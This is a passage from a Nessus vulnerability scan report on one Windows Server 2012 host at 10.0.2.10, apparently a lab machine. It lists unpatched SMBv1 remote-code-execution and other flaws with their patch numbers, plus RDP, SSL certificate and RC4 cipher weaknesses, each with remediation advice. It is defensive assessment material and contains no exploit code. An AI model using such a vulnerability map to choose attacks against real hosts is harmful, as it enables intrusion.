    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0272 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0273 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0274 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0275 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0276 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0277 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0278 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0279 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

100464CVE-2017-0280 9.3High 10.0.2.10tcp 445Microsoft Windows SMBv1 Multiple Vulnerabilities The remote Windows host is affected by multiple vulnerabilities.

The remote Windows host has Microsoft Server Message Block 

1.0 (SMBv1)

enabled. It is, therefore, affected by multiple vulnerabilities :



  - Multiple information disclosure vulnerabilities exist

    in Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to disclose sensitive

    information. (CVE-2017-0267, CVE-2017-0268,

    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,

    CVE-2017-0275, CVE-2017-0276)



  - Multiple denial of service vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of requests. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMB request, to cause the system to

    stop responding. (CVE-2017-0269, CVE-2017-0273,

    CVE-2017-0280)



  - Multiple remote code execution vulnerabilities exist in

    Microsoft Server Message Block 1.0 (SMBv1) due to

    improper handling of SMBv1 packets. An unauthenticated,

    remote attacker can exploit these vulnerabilities, via a

    specially crafted SMBv1 packet, to execute arbitrary

    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,

    CVE-2017-0279)

Apply the applicable security update for your Windows version :



  - Windows Server 2008     : KB4018466

  - Windows 7               : KB4019264

  - Windows Server 2008 R2  : KB4019264

  - Windows Server 2012     : KB4019216

  - Windows 8.1 / RT 8.1.   : KB4019215

  - Windows Server 2012 R2  : KB4019215

  - Windows 10              : KB4019474

  - Windows 10 Version 1511 : KB4019473

  - Windows 10 Version 1607 : KB4019472

  - Windows 10 Version 1703 : KB4016871

  - Windows Server 2016     : KB4019472

http://www.nessus.org/u?c21268d4

http://www.nessus.org/u?b9253982

http://www.nessus.org/u?23802c83

http://www.nessus.org/u?8313bb60

http://www.nessus.org/u?7677c678

http://www.nessus.org/u?36da236c

http://www.nessus.org/u?0981b934

http://www.nessus.org/u?c88efefa

http://www.nessus.org/u?695bf5cc

http://www.nessus.org/u?459a1e8c

http://www.nessus.org/u?ea45bbc5

http://www.nessus.org/u?4195776a

http://www.nessus.org/u?fbf092cf

http://www.nessus.org/u?8c0cc566 High

30218 2.6Low 10.0.2.10tcp 3389Terminal Services Encryption Level is not FIPS-140 Compliant The remote host is not FIPS-140 compliant.

The encryption setting used by the remote Terminal Services 

service

is not FIPS-140 compliant.

Change RDP encryption level to :



 4. FIPS Compliant



The terminal services encryption level is set to :



2. Medium (Client Compatible) Low

18405CVE-2005-1794 5.1Medium10.0.2.10tcp 3389Remote Desktop Protocol Server Man-in-the-Middle Weakness It may be possible to get access to the remote host.

The remote version of the Remote Desktop Protocol Server 

(Terminal

Service) is vulnerable to a man-in-the-middle (MiTM) attack. 

The RDP

client makes no effort to validate the identity of the server 

when

setting up encryption. An attacker with the ability to intercept

traffic from the RDP server can establish encryption with the 

client

and server without being detected. A MiTM attack of this 

nature would

allow the attacker to obtain any sensitive information 

transmitted,

including authentication credentials.



This flaw exists because the RDP server stores a publicly known

hard-coded RSA private key. Any attacker in a privileged 

network

location can use the key for this attack.

- Force the use of SSL as a transport layer for this service if

supported, or/and



- On Microsoft Windows operating systems, select the 'Allow 

connections

only from computers running Remote  Desktop with Network Level

Authentication' setting if it is available. http://www.nessus.org/u?8033da0d Medium

45411 5Medium10.0.2.10tcp 3389SSL Certificate with Wrong Hostname The SSL certificate for this service is for a different host.

The 'commonName' (CN) attribute of the SSL certificate 

presented for

this service is for a different machine. Purchase or generate a proper SSL certificate for this service.



The identities known by Nessus are :



  10.0.2.10

  Server2012



The Common Name in the certificate is :



  Server2012.ACCB6000.com



Medium

51192 6.4Medium10.0.2.10tcp 3389SSL Certificate Cannot Be Trusted The SSL certificate for this service cannot be trusted.

The server's X.509 certificate cannot be trusted. This situation 

can

occur in three different ways, in which the chain of trust can be

broken, as stated below :



  - First, the top of the certificate chain sent by the

    server might not be descended from a known public

    certificate authority. This can occur either when the

    top of the chain is an unrecognized, self-signed

    certificate, or when intermediate certificates are

    missing that would connect the top of the certificate

    chain to a known public certificate authority.



  - Second, the certificate chain may contain a certificate

    that is not valid at the time of the scan. This can

    occur either when the scan occurs before one of the

    certificate's 'notBefore' dates, or after one of the

    certificate's 'notAfter' dates.



  - Third, the certificate chain may contain a signature

    that either didn't match the certificate's information

    or could not be verified. Bad signatures can be fixed by

    getting the certificate with the bad signature to be

    re-signed by its issuer. Signatures that could not be

    verified are the result of the certificate's issuer

    using a signing algorithm that Nessus either does not

    support or does not recognize.



Purchase or generate a proper SSL certificate for this service.

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509



The following certificate was at the top of the certificate

chain sent by the remote host, but it is signed by an unknown

certificate authority :



|-Subject : CN=Server2012.ACCB6000.com

|-Issuer  : CN=Server2012.ACCB6000.com



Medium

57582 6.4Medium10.0.2.10tcp 3389SSL Self-Signed Certificate

The SSL certificate chain for this service ends in an unrecognized

self-signed certificate.

The X.509 certificate chain for this service is not signed by a

recognized certificate authority.  If the remote host is a public 

host

in production, this nullifies the use of SSL as anyone could 

establish

a man-in-the-middle attack against the remote host. 



Note that this plugin does not check for certificate chains that 

end

in a certificate that is not self-signed, but is signed by an

unrecognized certificate authority. Purchase or generate a proper SSL certificate for this service.



The following certificate was found at the top of the certificate

chain sent by the remote host, but is self-signed and was not

found in the list of known certificate authorities :



|-Subject : CN=Server2012.ACCB6000.com



Medium

57690 4.3Medium10.0.2.10tcp 3389Terminal Services Encryption Level is Medium or Low The remote host is using weak cryptography.

The remote Terminal Services service is not configured to use 

strong

cryptography. 



Using weak cryptography with this service may allow an 

attacker to

eavesdrop on the communications more easily and obtain 

screenshots

and/or keystrokes.

Change RDP encryption level to one of :



 3. High



 4. FIPS Compliant



The terminal services encryption level is set to :



2. Medium Medium

58453 4.3Medium10.0.2.10tcp 3389Terminal Services Doesn't Use Network Level Authentication (NLA) OnlyThe remote Terminal Services doesn't use Network Level Authentication only.

The remote Terminal Services is not configured to use Network 

Level

Authentication (NLA) only. NLA uses the Credential Security 

Support

Provider (CredSSP) protocol to perform strong server 

authentication

either through TLS/SSL or Kerberos mechanisms, which protect 

against

man-in-the-middle attacks. In addition to improving 

authentication, 

NLA also helps protect the remote computer from malicious 

users and 

software by completing user authentication before a full RDP 

connection is established.

Enable Network Level Authentication (NLA) on the remote RDP 

server. This is

generally done on the 'Remote' tab of the 'System' settings on 

Windows.

https://docs.microsoft.com/en-us/previous-

versions/windows/it-pro/windows-server-2008-R2-

and-2008/cc732713(v=ws.11)

http://www.nessus.org/u?e2628096 Nessus was able to negotiate non-NLA (Network Level Authentication) security.Medium

65821CVE-2013-2566 4.3Medium10.0.2.10tcp 3389SSL RC4 Cipher Suites Supported (Bar Mitzvah) The remote service supports the use of the RC4 cipher.

The remote host supports the use of RC4 in one or more cipher 

suites.

The RC4 cipher is flawed in its generation of a pseudo-random 

stream

of bytes so that a wide variety of small biases are introduced 

into

the stream, decreasing its randomness.



If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an

attacker is able to obtain many (i.e., tens of millions) 

ciphertexts,

the attacker may be able to derive the plaintext.

Reconfigure the affected application, if possible, to avoid use of 

RC4

ciphers. Consider using TLS 1.2 with AES-GCM suites subject to 

browser

and web server support.

https://www.rc4nomore.com/

http://www.nessus.org/u?ac7327a0

http://cr.yp.to/talks/2013.03.12/slides.pdf

http://www.isg.rhul.ac.uk/tls/

https://www.imperva.com/docs/HII_Attacking_SSL_

when_using_RC4.pdf



List of RC4 cipher suites supported by the remote server :



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5

    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1



The fields above are :



  {Tenable ciphername}

  {Cipher ID code}

  Kex={key exchange}

  Auth={authentication}

  Encrypt={symmetric encryption method}

  MAC={message authentication code}

  {export flag}



Medium

65821CVE-2015-2808 4.3Medium10.0.2.10tcp 3389SSL RC4 Cipher Suites Supported (Bar Mitzvah) The remote service supports the use of the RC4 cipher.

The remote host supports the use of RC4 in one or more cipher 

suites.

The RC4 cipher is flawed in its generation of a pseudo-random 

stream

of bytes so that a wide variety of small biases are introduced 

into

the stream, decreasing its randomness.



If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an

attacker is able to obtain many (i.e., tens of millions) 

ciphertexts,

the attacker may be able to derive the plaintext.

Reconfigure the affected application, if possible, to avoid use of 

RC4

ciphers. Consider using TLS 1.2 with AES-GCM suites subject to 

browser

and web server support.

https://www.rc4nomore.com/

http://www.nessus.org/u?ac7327a0

http://cr.yp.to/talks/2013.03.12/slides.pdf

http://www.isg.rhul.ac.uk/tls/

https://www.imperva.com/docs/HII_Attacking_SSL_

when_using_RC4.pdf



List of RC4 cipher suites supported by the remote server :



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5

    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1



The fields above are :



  {Tenable ciphername}

  {Cipher ID code}

  Kex={key exchange}

  Auth={authentication}

  Encrypt={symmetric encryption method}

  MAC={message authentication code}

  {export flag}



Medium

90510CVE-2016-0128 5.8Medium10.0.2.10tcp 1028MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check)

The remote Windows host is affected by an elevation of privilege

vulnerability.

The remote Windows host is affected by an elevation of 

privilege

vulnerability in the Security Account Manager (SAM) and Local 

Security

Authority (Domain Policy) (LSAD) protocols due to improper

authentication level negotiation over Remote Procedure Call 

(RPC)

channels. A man-in-the-middle attacker able to intercept

communications between a client and a server hosting a SAM 

database

can exploit this to force the authentication level to downgrade,

allowing the attacker to impersonate an authenticated user 

and access

the SAM database.

